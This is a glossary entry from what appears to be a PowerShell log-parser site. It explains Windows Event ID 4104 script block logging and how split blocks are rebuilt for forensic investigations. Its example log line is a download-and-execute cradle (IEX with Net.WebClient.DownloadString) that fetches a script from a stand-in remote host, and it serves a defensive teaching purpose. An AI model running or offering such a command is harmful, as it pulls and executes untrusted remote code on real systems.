Skip to content
PowerShellparser

Glossary

Event ID 4104

The PowerShell Script Block Logging event: one block of compiled code, identified by ScriptBlockId and numbered MessageNumber of MessageTotal.

Event ID 4104 is the Script Block Logging event, written to the Microsoft-Windows-PowerShell/Operational log (and, for PowerShell 7, to PowerShellCore/Operational). Each event holds the text of a block of PowerShell code as the engine compiled it, after any encoding or string obfuscation was resolved, which makes it the richest single source of what PowerShell actually ran.

Why it matters in investigations

4104 shows the code itself, not just a command line, so it reveals the logic of a script that was downloaded, decoded or built in memory. Its EventData carries four fields worth knowing:

  • ScriptBlockText: the code of this part of the block
  • ScriptBlockId: a GUID shared by every part of one block
  • MessageNumber / MessageTotal: this part n of N
  • Path: the source .ps1 file, when the block came from a script

Because the event log caps the size of a single event, a long script is split across several 4104 events. To recover it, group by ScriptBlockId, order by MessageNumber and concatenate ScriptBlockText. If a part has rolled out of the log or was never collected, the reconstruction has a gap that any interpretation must account for.

The level matters too. With the policy on, blocks are logged at Verbose level; blocks logged at Warning level were flagged by PowerShell on its own because they contain terms it considers suspicious, which happens even when full logging is off.

Example

A long script might arrive as three events sharing one ScriptBlockId, numbered 1 of 3, 2 of 3 and 3 of 3. If only parts 1 and 3 survive, the parser still shows the block, flags it as partial, noting that part 2 of 3 is not in the log, so the gap is not missed. A single-part block might carry:

ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
MessageNumber: 1   MessageTotal: 1

Reassemble and decode 4104 events in your browser with the PowerShell Parser, and read the 4104 forensics guide.